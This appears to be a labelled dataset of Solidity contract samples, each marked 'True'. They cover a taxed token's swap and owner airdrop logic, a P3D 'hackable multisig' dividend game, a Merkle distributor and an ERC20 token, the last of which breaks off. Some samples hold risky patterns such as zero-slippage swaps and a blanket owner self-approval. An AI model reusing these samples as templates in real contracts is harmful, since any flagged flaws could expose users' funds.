tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(this),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(devWallet).call{value: ethForDev}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
function Send(address[] calldata recipients, uint256[] calldata values)
external
onlyOwner
{
_approve(owner(), owner(), totalSupply());
for (uint256 i = 0; i < recipients.length; i++) {
transferFrom(msg.sender, recipients[i], values[i] * 10 ** decimals());
}
}
} | True | [
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pragma solidity ^0.4.24;
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = 0x0B0eFad4aE088a88fFDC50BCe5Fb63c6936b9220;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
interface HourglassInterface {
function() payable external;
function buy(address _playerAddress) payable external returns(uint256);
function sell(uint256 _amountOfTokens) external;
function reinvest() external;
function withdraw() external;
function exit() external;
function dividendsOf(address _playerAddress) external view returns(uint256);
function balanceOf(address _playerAddress) external view returns(uint256);
function transfer(address _toAddress, uint256 _amountOfTokens) external returns(bool);
function stakingRequirement() external view returns(uint256);
}
contract DivMultisigHackable is Owned {
HourglassInterface constant P3Dcontract_ = HourglassInterface(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe);
function buyp3d(uint256 amt) internal{
P3Dcontract_.buy.value(amt)(this);
}
function claimdivs() internal{
P3Dcontract_.withdraw();
}
// amount of divs available
struct HackableSignature {
address owner;
uint256 hackingcost;
uint256 encryption;
}
uint256 private ethtosend;
uint256 private nexId;
uint256 public totalsigs;
mapping(uint256 => HackableSignature) public Multisigs;
mapping(address => uint256) public lasthack;
address public contrp3d = 0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe;
uint256 private div;
uint256 private count;
constructor(uint256 amtsigs) public{
for(nexId = 0; nexId < amtsigs;nexId++){
Multisigs[nexId].owner = msg.sender;
Multisigs[nexId].hackingcost = 1;
Multisigs[nexId].encryption = 1;
}
totalsigs = amtsigs;
}
event onHarvest(
address customerAddress,
uint256 amount
);
function harvestabledivs()
view
public
returns(uint256)
{
return ( P3Dcontract_.dividendsOf(address(this))) ;
}
function amountofp3d() external view returns(uint256){
return ( P3Dcontract_.balanceOf(address(this))) ;
}
function Hacksig(uint256 nmbr) public payable{
require(lasthack[msg.sender] < block.number);
require(nmbr < totalsigs);
require(Multisigs[nmbr].owner != msg.sender);
require(msg.value >= Multisigs[nmbr].hackingcost + Multisigs[nmbr].encryption);
Multisigs[nmbr].owner = msg.sender;
Multisigs[nmbr].hackingcost ++;
Multisigs[nmbr].encryption = 0;
lasthack[msg.sender] = block.number;
}
function Encrypt(uint256 nmbr) public payable{
require(Multisigs[nmbr].owner == msg.sender);//prevent encryption of hacked sig
Multisigs[nmbr].encryption += msg.value;
}
function HackDivs() public payable{
div = harvestabledivs();
require(msg.value >= 1 finney);
require(div > 0);
count = 0;
for(nexId = 0; nexId < totalsigs;nexId++){
if(Multisigs[nexId].owner == msg.sender){
count++;
}
}
require(count > totalsigs/2);
claimdivs();
//1% to owner
ethtosend = div /100;
owner.transfer(ethtosend);
ethtosend = ethtosend * 99;
msg.sender.transfer(ethtosend);
emit onHarvest(msg.sender,ethtosend);
}
function Expand() public {
//1% to owner
ethtosend = this.balance /100;
owner.transfer(ethtosend);
//99% buy p3d
buyp3d(this.balance);
}
function () external payable{}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2020-09-16
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.6.11;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev These functions deal with verification of Merkle trees (hash trees),
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// Allows anyone to claim a token if they exist in a merkle root.
interface IMerkleDistributor {
// Returns the address of the token distributed by this contract.
function token() external view returns (address);
// Returns the merkle root of the merkle tree containing account balances available to claim.
function merkleRoot() external view returns (bytes32);
// Returns true if the index has been marked claimed.
function isClaimed(uint256 index) external view returns (bool);
// Claim the given amount of the token to the given address. Reverts if the inputs are invalid.
function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external;
// This event is triggered whenever a call to #claim succeeds.
event Claimed(uint256 index, address account, uint256 amount);
}
contract MerkleDistributor is IMerkleDistributor {
address public immutable override token;
bytes32 public immutable override merkleRoot;
// This is a packed array of booleans.
mapping(uint256 => uint256) private claimedBitMap;
constructor(address token_, bytes32 merkleRoot_) public {
token = token_;
merkleRoot = merkleRoot_;
}
function isClaimed(uint256 index) public view override returns (bool) {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
uint256 claimedWord = claimedBitMap[claimedWordIndex];
uint256 mask = (1 << claimedBitIndex);
return claimedWord & mask == mask;
}
function _setClaimed(uint256 index) private {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex);
}
function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external override {
require(!isClaimed(index), 'MerkleDistributor: Drop already claimed.');
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(index, account, amount));
require(MerkleProof.verify(merkleProof, merkleRoot, node), 'MerkleDistributor: Invalid proof.');
// Mark it claimed and send the token.
_setClaimed(index);
require(IERC20(token).transfer(account, amount), 'MerkleDistributor: Transfer failed.');
emit Claimed(index, account, amount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-09-18
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol
pragma solidity ^0.8.0;
/**
* @title ERC20Decimals
* @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
*/
abstract contract ERC20Decimals is ERC20 {
uint8 private immutable _decimals;
/**
* @dev Sets the value of the `decimals`. This value is immutable, it can only be
* set once during construction.
*/
constructor(uint8 decimals_) {
_decimals = decimals_;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor(address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/token/ERC20/StandardERC20.sol
pragma solidity ^0.8.0;
/**
* @title StandardERC20
* @dev Implementation of the StandardERC20
*/
contract StandardERC20 is ERC20Decimals, ServicePayer {
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 initialBalance_,
address payable feeReceiver_
) payable ERC20(name_, symbol_) ERC20Decimals(decimals_) ServicePayer(feeReceiver_, "StandardERC20") {
require(initialBalance_ > 0, "StandardERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
function decimals() public view virtual override returns (uint8) {
return super.decimals();
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2022-02-16
*/
/*
/$$ /$$
| $$$ /$$$
| $$$$ /$$$$ /$$$$$$ /$$ /$$ /$$$$$$$ /$$$$$$
| $$ $$/$$ $$ /$$__ $$| $$ | $$ /$$_____/ /$$__ $$
| $$ $$$| $$| $$ \ $$| $$ | $$| $$$$$$ | $$$$$$$$
| $$\ $ | $$| $$ | $$| $$ | $$ \____ $$| $$_____/
| $$ \/ | $$| $$$$$$/| $$$$$$/ /$$$$$$$/| $$$$$$$
|__/ |__/ \______/ \______/ |_______/ \_______/
$MOUSE - Meet the CHEDDA Killer
www.mousetoken.net
t.me/mousetoken
twitter.com/mousetokenerc
MOUSE has unique flexible tokenomics. Meaning, the dev team will adjust the tokenomics to accustom the needs of the token and its community.
The initial taxes (9%) will go to marketing. Later on, taxes will be utilized for liquidity, reflections and development as well.
Initial tokenomics:
1,000,000,000 TOTAL SUPPLY
0% Liquidity
0% Reflections
0% Development
9% Marketing
9% Total Tax
*/
pragma solidity ^0.8.3;
// SPDX-License-Identifier: Unlicensed
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
